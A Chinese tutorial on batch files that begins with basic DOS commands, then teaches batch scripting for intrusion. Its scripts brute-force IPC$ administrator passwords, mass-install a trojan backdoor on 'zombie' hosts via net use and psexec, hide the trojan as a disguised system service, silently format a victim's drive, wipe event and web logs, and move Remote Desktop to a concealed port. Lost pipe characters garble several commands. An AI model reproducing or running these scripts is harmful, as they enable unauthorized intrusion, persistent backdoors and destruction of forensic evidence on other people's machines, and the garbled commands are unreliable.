天天看點

如何應用批處理檔案(一)

字尾是bat的檔案就是批處理檔案,是一種文本檔案。簡單的說,它的作用就是自動的連續執行多條指令,批處理檔案的内容就是一條一條的指令。那它有什麼用呢?

  比如,在啟動wps軟體時,每次都必須執行

  C:\>cd wps

  C:\WPS>spdos

  C:\WPS>py

  C:\WPS>wbx

  C:\WPS>wps

  如果每次用WPS之前都這樣執行一次,您是不是覺得很麻煩呢?

  如果有一個方法,隻需編寫一個批處理檔案,就會自動執行剛才的所有指令,您想不想學呢?

  當您看完此節,自己編寫的第一個批處理檔案順利執行時,您一定會大吃一驚的。

  此外電腦每次啟動時都會尋找autoexec.bat這條批處理檔案,進而可執行一些每次開機都要執行的指令,如設定路徑path、加載滑鼠驅動mouse、磁盤加速smartdrv等,可以使您的電腦真正自動化。

 echo、@、call、pause、rem 是批處理檔案最常用的幾個指令,我們就從他們開始學起。 echo 表示顯示此指令後的字元

echo off 表示在此語句後所有運作的指令都不顯示指令行本身

@ 與echo off相象,但它是加在其它指令行的最前面,表示運作時不顯示指令行本身。

call 調用另一條批處理檔案(如果直接調用别的批處理檔案 ,執行完那條檔案後将無法執行目前檔案後續指令)

pause 運作此句會暫停,顯示Press any key to continue... 等待使用者按任意鍵後繼續 

rem 表示此指令後的字元為解釋行,不執行,隻是給自己今後查找用的 

  例:用edit編輯a.bat檔案,輸入下列内容後存盤為c:\a.bat,執行該批處理檔案後可實作:将根目錄中所有檔案寫入 a.txt中,啟動UCDOS,進入WPS等功能。

  批處理檔案的内容為:         檔案表示:

    echo off            不顯示指令行

    dir c:\*.* >a.txt       将c盤檔案清單寫入a.txt

    call c:\ucdos\ucdos.bat    調用ucdos

    echo 你好            顯示"你好"

    pause              暫停,等待按鍵繼續

    rem 使用wps           注釋将使用wps

    cd ucdos            進入ucdos目錄

    wps               使用wps  

  批處理檔案中還可以像C語言一樣使用參數,這隻需用到一個參數表示符%。

   %表示參數,參數是指在運作批處理檔案時在檔案名後加的字元串。變量可以從 %0到%9,%0表示檔案名本身,字元串用%1到%9順序表示。

  例如,C:根目錄下一批處理檔案名為f.bat,内容為 format %1

  則如果執行C:\>f a:    則實際執行的是format a:

  又如C:根目錄下一批處理檔案的名為t.bat,内容為 type %1 type %2

  那麼運作C:\>t a.txt b.txt 将順序地顯示a.txt和b.txt檔案的内容

if goto choice for 是批處理檔案中比較進階的指令,如果這幾個你用得很熟練,你就是批處理檔案的專家啦。

  if 表示将判斷是否符合規定的條件,進而決定執行不同的指令。 有三種格式:

1、if "參數" == "字元串"  待執行的指令

參數如果等于指定的字元串,則條件成立,運作指令,否則運作下一句。(注意是兩個等号)

如if "%1"=="a" format a:

2、if exist 檔案名  待執行的指令

如果有指定的檔案,則條件成立,運作指令,否則運作下一句。如if exist config.sys edit config.sys

3、if errorlevel 數字  待執行的指令

如果傳回碼等于指定的數字,則條件成立,運作指令,否則運作下一句。如if errorlevel 2 goto x2  DOS程式運作時都會傳回一個數字給DOS,稱為錯誤碼errorlevel或稱傳回碼

goto 批處理檔案運作到這裡将跳到goto 所指定的标号處, 一般與if配合使用。 如:

goto end

:end

echo this is the end

标号用 :字元串 表示,标号所在行不被執行

choice 使用此指令可以讓使用者輸入一個字元,進而運作不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的傳回碼為1234……

如: choice /c:dme defrag,mem,end

将顯示

defrag,mem,end[D,M,E]?

例如,test.bat的内容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

:mem

mem

echo good bye

此檔案運作後,将顯示 defrag,mem,end[D,M,E]? 使用者可選擇d m e ,然後if語句将作出判斷,d表示執行标号為defrag的程式段,m表示執行标号為mem的程式段,e表示執行标号為end的程式段,每個程式段最後都以goto end将程式跳到end标号處,然後程式将顯示good bye,檔案結束。

for 循環指令,隻要條件符合,它将多次執行同一指令。

格式FOR [%%f] in (集合) DO [指令]

隻要參數f在指定的集合内,則條件成立,執行指令

如果一條批處理檔案中有一行:

for %%c in (*.bat *.txt) do type %%c

含義是如果是以bat或txt結尾的檔案,則顯示檔案的内容。

 DOS在啟動會自動運作autoexec.bat這條檔案,一般我們在裡面裝載每次必用的程式,如: path(設定路徑)、smartdrv(磁盤加速)、 mouse(滑鼠啟動)、mscdex(光驅連接配接)、 doskey(鍵盤管理)、set(設定環境變量)等。

  如果啟動盤根目錄中沒有這個檔案,電腦會讓使用者輸入日期和時間。

  例如,一個典型的autoexec.bat内容如下:

@echo off                     不顯示指令行

prompt $p$g                    設定提示符前有目錄提示

path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools    設定路徑

lh c:\dos\doskey.com                加載鍵盤管理

lh c:\mouse\mouse.com               加載滑鼠管理

lh c:\dos\smartdrv.exe               加載磁盤加速管理

lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V      加載CD-ROM驅動

set temp=c:\temp                  設定臨時目錄

----------------------------------------------------------------------------------

批處理檔案是無格式的文本檔案,它包含一條或多條指令。它的檔案擴充名為 .bat 或 .cmd。在指令提示下鍵入批處理檔案的名稱,或者輕按兩下該批處理檔案,系統就會調用Cmd.exe按照該檔案中各個指令出現的順序來逐個運作它們。使用批處理檔案(也被稱為批處理程式或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要内容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理檔案來給系統打更新檔、批量植入後門程式等。下面就開始我們批處理學習之旅吧。

  一.簡單批處理内部指令簡介

  1.Echo 指令

  打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 指令将顯示目前回顯設定。

  文法

  echo [{on off}] [message]

  Sample:@echo off / echo hello world

  在實際應用中我們會把這條指令和重定向符号(也稱為管道符号,一般用> >> ^)結合來實作輸入一些指令到特定格式的檔案中.這将在以後的例子中展現出來。

  2.@ 指令

  表示不顯示@後面的指令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的指令啦。

  Sample:@echo off

  @echo Now initializing the program,please wait a minite...

  @format X: /q/u/autoset (format 這個指令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

  3.Goto 指令

  指定跳轉到标簽,找到标簽後,程式将處理從下一行開始的指令。

  文法:goto label (label是參數,指定所要轉向的批處理程式中的行。)

  Sample:

  if {%1}=={} goto noparms

  if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)

  @Rem check parameters if null show usage

  :noparms

  echo Usage: monitor.bat ServerIP PortNumber

  goto end

  标簽的名字可以随便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是标簽,goto指令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你别人看起來才會了解你的意圖啊。

  4.Rem 指令

  注釋指令,在C語言中相當與/*--------*/,它并不會被執行,隻是起一個注釋的作用,便于别人閱讀和你自己日後修改。

  Rem Message

  Sample:@Rem Here is the description.

  5.Pause 指令

  運作 Pause 指令時,将顯示下面的消息:

  Press any key to continue . . .

  @echo off

  :begin

  copy a:*.* d:\back

  echo Please put a new disk into driver A

  pause

  goto begin

  在這個例子中,驅動器 A 中磁盤上的所有檔案均複制到d:\back中。顯示的注釋提示您将另一張磁盤放入驅動器 A 時,pause 指令會使程式挂起,以便您更換磁盤,然後按任意鍵繼續處理。

6.Call 指令

  從一個批處理程式調用另一個批處理程式,并且不終止父批處理程式。call 指令接受用作調用目标的标簽。如果在腳本或批處理檔案外使用 Call,它将不會在指令行起作用。

  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

  參數

  [Drive:}[Path] FileName

  指定要調用的批處理程式的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴充名。

  7.start 指令

  調用外部程式,所有的DOS指令和指令行程式都可以由start指令來調用。

  入侵常用參數:

  MIN 開始時視窗最小化

  SEPARATE 在分開的空間内開始 16 位 Windows 程式

  HIGH 在 HIGH 優先級類别開始應用程式

  REALTIME 在 REALTIME 優先級類别開始應用程式

  WAIT 啟動應用程式并等候它結束

  parameters 這些為傳送到指令/程式的參數

  執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式終止就傳回指令提示。如果在指令腳本内執行,該新行為則不會發生。

  8.choice 指令

  choice 使用此指令可以讓使用者輸入一個字元,進而運作不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的傳回碼為1234……

  如: choice /c:dme defrag,mem,end

  将顯示

  defrag,mem,end[D,M,E]?

  Sample.bat的内容如下:

  choice /c:dme defrag,mem,end

  if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

  if errorlevel 2 goto mem

  if errotlevel 1 goto end

  :defrag

  c:\dos\defrag

  :mem

  mem

  :end

  echo good bye

  此檔案運作後,将顯示 defrag,mem,end[D,M,E]? 使用者可選擇d m e ,然後if語句将作出判斷,d表示執行标号為defrag的程式段,m表示執行标号為mem的程式段,e表示執行标号為end的程式段,每個程式段最後都以goto end将程式跳到end标号處,然後程式将顯示good bye,檔案結束。

  9.If 指令

  if 表示将判斷是否符合規定的條件,進而決定執行不同的指令。 有三種格式:

  1、if "參數" == "字元串"  待執行的指令

  參數如果等于指定的字元串,則條件成立,運作指令,否則運作下一句。(注意是兩個等号)

  如if "%1"=="a" format a:

  if {%2}=={} goto noparms

  2、if exist 檔案名  待執行的指令

  如果有指定的檔案,則條件成立,運作指令,否則運作下一句。

  如if exist config.sys edit config.sys

  3、if errorlevel / if not errorlevel 數字  待執行的指令

  如果傳回碼等于指定的數字,則條件成立,運作指令,否則運作下一句。

  如if errorlevel 2 goto x2  

  DOS程式運作時都會傳回一個數字給DOS,稱為錯誤碼errorlevel或稱傳回碼,常見的傳回碼為0、1。

10.for 指令

  for 指令是一個比較複雜的指令,主要用于參數在指定的範圍内循環執行指令。

  在批處理檔案中使用 FOR 指令時,指定變量請使用 %%variable

  for {%variable %%variable} in (set) do command [ CommandLineOptions]

  %variable 指定一個單一字母可替換的參數。

  (set) 指定一個或一組檔案。可以使用通配符。

  command 指定對每個檔案執行的指令。

  command-parameters 為特定指令指定參數或指令行開關。

  而不要用 %variable。變量名稱是區分大小寫的,是以 %i 不同于 %I

  如果指令擴充名被啟用,下列額外的 FOR 指令格式會受到

  支援:

  FOR /D %variable IN (set) DO command [command-parameters]

  如果集中包含通配符,則指定與目錄名比對,而不與檔案名比對。

  FOR /R [[drive:]path] %variable IN (set) DO command [command-

  檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用目前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

  FOR /L %variable IN (start,step,end) DO command [command-para

  該集表示以增量形式從開始到結束的一個數字序列。

  是以,(1,1,5) 将産生序列 1 2 3 4 5,(5,-1,1) 将産生

  序列 (5 4 3 2 1)。

  FOR /F ["options"] %variable IN (file-set) DO command

  FOR /F ["options"] %variable IN ("string") DO command

  FOR /F ["options"] %variable IN (command) DO command

  或者,如果有 usebackq 選項:

  filenameset 為一個或多個檔案名。繼續到 filenameset 中的

  下一個檔案之前,每份檔案都已被打開、讀取并經過處理。

  處理包括讀取檔案,将其分成一行行的文字,然後将每行

  解析成零或更多的符号。然後用已找到的符号字元串變量值

  調用 For 循環。以預設方式,/F 通過每個檔案的每一行中分開

  的第一個空白符号。跳過空白行。您可通過指定可選 "options"

  參數替代預設解析操作。這個帶引号的字元串包括一個或多個

  指定不同解析選項的關鍵字。這些關鍵字為:

  eol=c - 指一個行注釋字元的結尾(就一個)

  skip=n - 指在檔案開始時忽略的行數。

  delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的

  預設分隔符集。

  tokens=x,y,m-n - 指每行的哪一個符号被傳遞到每個疊代

  的 for 本身。這會導緻額外變量名稱的

  格式為一個範圍。通過 nth 符号指定 m

  符号字元串中的最後一個字元星号,

  那麼額外的變量将在最後一個符号解析之

  配置設定并接受行的保留文本。

  usebackq - 指定新文法已在下類情況中使用:

  在作為指令執行一個後引号的字元串并且引号字元為文字字元串指令并允許在 fi中使用雙引号擴起檔案名稱。

sample1:

  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

  會分析 myfile.txt 中的每一行,忽略以分号打頭的那些行,将每行中的第二個和第三個符号傳遞給 for 程式體;用逗号和/或空格定界符号。請注意,這個 for 程式體的語句引用 %i 來取得第二個符号,引用 %j 來取得第三個符号,引用 %k來取得第三個符号後的所有剩餘符号。對于帶有空格的檔案名,您需要用雙引号将檔案名括起來。為了用這種方式來使用雙引号,您還需要使用 usebackq 選項,否則,雙引号會被了解成是用作定義某個要分析的字元串的。

  %i 專門在 for 語句中得到說明,%j 和 %k 是通過

  tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符号,隻要不試圖說明一個高于字母 z 或Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。

  您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引号将括号之間的 filenameset 括起來。這樣,該字元串會被當作一個檔案中的一個單一輸入行。

  最後,您可以用 FOR /F 指令來分析指令的輸出。方法是,将括号之間的 filenameset 變成一個反括字元串。該字元串會被當作指令行,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,并被當作檔案分析。是以,以下例子:

  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

  會枚舉目前環境中的環境變量名稱。

  另外,FOR 變量參照的替換已被增強。您現在可以使用下列

  選項文法:

  ~I - 删除任何引号("),擴充 %I

  %~fI - 将 %I 擴充到一個完全合格的路徑名

  %~dI - 僅将 %I 擴充到一個驅動器号

  %~pI - 僅将 %I 擴充到一個路徑

  %~nI - 僅将 %I 擴充到一個檔案名

  %~xI - 僅将 %I 擴充到一個檔案擴充名

  %~sI - 擴充的路徑隻含有短名

  %~aI - 将 %I 擴充到檔案的檔案屬性

  %~tI - 将 %I 擴充到檔案的日期/時間

  %~zI - 将 %I 擴充到檔案的大小

  %~$PATH:I - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個完全合格的名稱。如果環境變量未被定義,或者沒有找到檔案,此組合鍵會擴充空字元串

  可以組合修飾符來得到多重結果:

  %~dpI - 僅将 %I 擴充到一個驅動器号和路徑

  %~nxI - 僅将 %I 擴充到一個檔案名和擴充名

  %~fsI - 僅将 %I 擴充到一個帶有短名的完整路徑名

  %~dp$PATH:i - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個驅動器号和路徑。

  %~ftzaI - 将 %I 擴充到類似輸出線路的 DIR

  在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 文法

  用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。

  以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For指令在入侵中的用途。

  sample2:

  利用For指令來實作對一台目标Win2k主機的暴力密碼破解。

  我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目标主機進行連接配接,當成功時記下密碼。

  最主要的指令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

  用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 指令來連接配接。然後将程式運作結果傳遞給find指令--

  for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":指令成功完成">>D:\ok.txt ,這樣就ko了。

  sample3:

  你有沒有過手裡有大量殭屍電腦等着你去種後門+木馬呢?,當數量特别多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理檔案,可以簡化日常或重複性任務。那麼如何實作呢?呵呵,看下去你就會明白了。

  主要指令也隻有一條:(在批處理檔案中使用 FOR 指令時,指定變量使用 %%variable)

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

  tokens的用法請參見上面的sample1,在這裡它表示按順序将victim.txt中的内容傳遞給door.bat中的參數%i %j %k。

  而cultivate.bat無非就是用net use指令來建立IPC$連接配接,并copy木馬+後門到victim,然後用傳回碼(If errorlever =)來篩選成功種植後門的主機,并echo出來,或者echo到指定的檔案。

  delims= 表示vivtim.txt中的内容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的内容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

  代碼雛形:

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  @if "%1"=="" goto usage

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

  @goto end

  :usage

  @echo run this batch in dos modle.or just double-click it.

  ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

  @net use \\%1\ipc$ %3 /u:"%2"

  @if errorlevel 1 goto failed

  @echo Trying to establish the IPC$ connection …………OK

  @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

  @psexec \\%1 c:\winnt\system32\windrv32.exe

  @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

  :failed

  @echo Sorry can not connected to the victim.

  ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

  這隻是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理内容

  尚可擴充,例如:加入清除日志+DDOS的功能,加入定時添加使用者的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做叙述,有興趣的朋友可自行研究.

二.如何在批處理檔案中使用參數

  批進行中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況并不多見,我們就不考慮它了。

  sample1:fomat.bat

  if "%1"=="a" format a:

  :format

  @format a:/q/u/auotset

  @echo please insert another disk to driver A.

  @pause

  @goto fomat

  這個例子用于連續地格式化幾張軟碟,是以用的時候需在dos視窗輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^

  當我們要建立一個IPC$連接配接地時候總要輸入一大串指令,弄不好就打錯了,是以我們不如把一些固定指令寫入一個批處理,把殭屍電腦地ip password username 當着參數來賦給這個批處理,這樣就不用每次都打指令了。

  @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這裡PASSWORD是第二個參數。

  @if errorlevel 1 echo connection failed

  怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3

  三.如何使用組合指令(Compound Command)

  1.&

  Usage:第一條指令 & 第二條指令 [& 第三條指令...]

  用這種方法可以同時執行多條指令,而不管指令是否執行成功

  C:\>dir z: & dir c:\Ex4rch

  The system cannot find the path specified.

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of c:\Ex4rch

  2002-05-14 23:51

.

..

  2002-05-14 23:51 14 sometips.gif

3.  

  Usage:第一條指令    第二條指令 [   第三條指令...]

  用這種方法可以同時執行多條指令,當碰到執行正确的指令後将不執行後面的指令,如果沒有出現正确的指令則一直執行完所有指令;

  C:\Ex4rch>dir sometips.gif    del sometips.gif

  Directory of C:\Ex4rch

  2002-05-14 23:55 14 sometips.gif

  1 File(s) 14 bytes

  0 Dir(s) 768,696,320 bytes free

  組合指令使用的例子:

  sample:

  @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道指令的使用

  1.  指令

  Usage:第一條指令   第二條指令 [  第三條指令...]

  将第一條指令的結果作為第二條指令的參數來使用,記得在unix中這種方式很常見。

  time /t>>D:\IP.log

  netstat -n -p tcp find ":3389">>D:\IP.log

  start Explorer

  看出來了麼?用于終端服務允許我們為使用者自定義起始的程式,來實作讓使用者運作下面這個bat,以獲得登入使用者的IP。

  2.>、>>輸出重定向指令

  将一條指令或某個程式輸出結果的重定向到特定檔案中, > 與 >>的差別在于,>會清除調原有檔案中的内容後寫入指定檔案,而>>隻會追加内容到指定檔案中,而不會改動其中的内容。

  sample1:

  echo hello world>c:\hello.txt (stupid example?)

  sample2:

  時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程式後,對該目錄下的EXE和DLL檔案作一個記錄:

  運作CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

  這樣所有的EXE和DLL檔案的名稱都被分别記錄到exeback.txt和dllback.txt中,

  日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

  這時我們用同樣的指令将system32下的EXE和DLL檔案記錄到另外的exeback1.txt和dllback1.txt中,然後運作:

  CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC指令比較前後兩次的DLL和EXE檔案,并将結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE檔案,然後通過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll将後門DLL檔案登出掉,再把它移到資源回收筒裡,若系統沒有異常反映再将之徹底删除或者送出給防毒軟體公司。

3.< 、>& 、<&

  < 從檔案中而不是從鍵盤中讀入指令輸入。

  >& 将一個句柄的輸出寫入到另一個句柄的輸入中。

  <& 從一個句柄讀取輸入并将其寫入到另一個句柄輸出中。

  這些并不常用,也就不多做介紹。

  No.5

  五.如何用批處理檔案來操作系統資料庫

  在入侵過程中經常回操作系統資料庫的特定的鍵值來實作一定的目的,例如:為了達到隐藏後門、木馬程式而删除Run下殘餘的鍵值。或者建立一個服務用以加載後門。當然我們也會修改系統資料庫來加強系統或者改變系統的某個屬性,這些都需要我們對系統資料庫操作有一定的了解。下面我們就先學習一下如何使用.REG檔案來操作系統資料庫.(我們可以用批處理來生成一個REG檔案)

  關于系統資料庫的操作,常見的是建立、修改、删除。

  1.建立

  建立分為兩種,一種是建立子項(Subkey)

  我們建立一個檔案,内容如下:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

  然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下建立了一個名字為“hacker”的子項。

  另一種是建立一個項目名稱

  那這種檔案格式就是典型的檔案格式,和你從系統資料庫中導出的檔案格式一緻,内容如下:

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"

  "Door"=C:\\WINNT\\system32\\door.exe

  "Autodos"=dword:02

  這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

  建立了:Invader、door、about這三個項目

  Invader的類型是“String Value”

  door的類型是“REG SZ Value”

  Autodos的類型是“DWORD Value”

2.修改

  修改相對來說比較簡單,隻要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。

  3.删除

  我們首先來說說删除一個項目名稱,我們建立一個如下的檔案:

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  "Ex4rch"=-

  執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

  我們再看看删除一個子項,我們建立一個如下的腳本:

  [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被删除了。

  相信看到這裡,.reg檔案你基本已經掌握了。那麼現在的目标就是用批處理來建立特定内容的.reg檔案了,記得我們前面說道的利用重定向符号可以很容易地建立特定類型的檔案。

samlpe1:如上面的那個例子,如想生成如下系統資料庫檔案

  "Invader"="Ex4rch"

  "door"=hex:255

  "Autodos"=dword:000000128

  隻需要這樣:

  @echo Windows Registry Editor Version 5.00>>Sample.reg

  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

  @echo "Invader"="Ex4rch">>Sample.reg

  @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

  @echo "Autodos"=dword:02>>Sample.reg

  samlpe2:

  我們現在在使用一些比較老的木馬時,可能會在系統資料庫的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實作木馬的自啟動.但是這樣很容易暴露木馬程式的路徑,進而導緻木馬被清除,相對地若是将木馬程式注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)

  @start windrv32.exe

  @attrib +h +r windrv32.exe

  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

  @echo "windsnx "=- >>patch.dll

  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

  @regedit /s patch.dll

  @delete patch.dll

  @REM [删除DSNXDE在系統資料庫中的啟動項,用sc.exe将之注冊為系統關鍵性服務的同時将其屬性設為隐藏和隻讀,并config為自啟動]

  @REM 這樣不是更安全^_^.

六.精彩執行個體放送。

  1.删除win2k/xp系統預設共享的批處理

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo preparing to delete all the default shares.when ready pres any key.

  :Rem check parameters if null show usage.

  if {%1}=={} goto :Usage

  :Rem code start.

  echo.

  echo ------------------------------------------------------

  echo Now deleting all the default shares.

  net share %1$ /delete

  net share %2$ /delete

  net share %3$ /delete

  net share %4$ /delete

  net share %5$ /delete

  net share %6$ /delete

  net share %7$ /delete

  net share %8$ /delete

  net share %9$ /delete

  net stop Server

  net start Server

  echo All the shares have been deleteed

  echo Now modify the registry to change the system default properties.

  echo Now creating the registry file

  echo Windows Registry Editor Version 5.00> c:\delshare.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg

  echo "AutoShareWks"=dword:00000000>> c:\delshare.reg

  echo "AutoShareServer"=dword:00000000>> c:\delshare.reg

  echo Nowing using the registry file to chang the system default properties.

  regedit /s c:\delshare.reg

  echo Deleting the temprotarily files.

  del c:\delshare.reg

  goto :END

:Usage

  echo ☆ A example for batch file ☆

  echo ☆ [Use batch file to change the sysytem share properties.] ☆

  echo Author:Ex4rch

  echo Mail:[email protected] QQ:1672602

  echo Error:Not enough parameters

  echo ☆ Please enter the share disk you wanna delete ☆

  echo For instance,to delete the default shares:

  echo delshare c d e ipc admin print

  echo If the disklable is not as C: D: E: ,Please chang it youself.

  echo example:

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

  echo delshare c d e x y z ipc admin print

  echo *** you can delete nine shares once in a useing ***

  goto :EOF

  :END

  echo OK,delshare.bat has deleted all the share you assigned.

  echo.Any questions ,feel free to mail to [email][email protected][/email].

  echo

  :EOF

  echo end of the batch file

  下面指令是清除殭屍電腦所有日志,禁止一些危險的服務,并修改殭屍電腦的terminnal service留跳後路。

  @net stop w3svc

  @net stop event log

  @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

  @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

  @del c:\winnt\system32\config\*.event /f /q

  @del c:\winnt\system32dtclog\*.* /f /q

  @del c:\winnt\*.txt /f /q

  @del c:\winnt\*.log /f /q

  @net start w3svc

  @net start event log

  @rem [删除日志]

  @net stop lanmanserver /y

  @net stop Schedule /y

  @net stop RemoteRegistry /y

  @del patch.dll

  @echo The server has been patched,Have fun.

  @del patch.bat

  @REM [禁止一些危險的服務。]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

  @echo "PortNumber"=dword:00002010 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll

  @echo "PortNumber"=dword:00002012 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll

  @echo "ErrorControl"=dword:00000001 >>patch.dll

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

  @echo "ObjectName"="LocalSystem" >>patch.dll

  @echo "Type"=dword:00000010 >>patch.dll

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll

  @echo "DisplayName"="Microsoft EventLog" >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

  @REM [修改3389連接配接,端口為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路]

繼續閱讀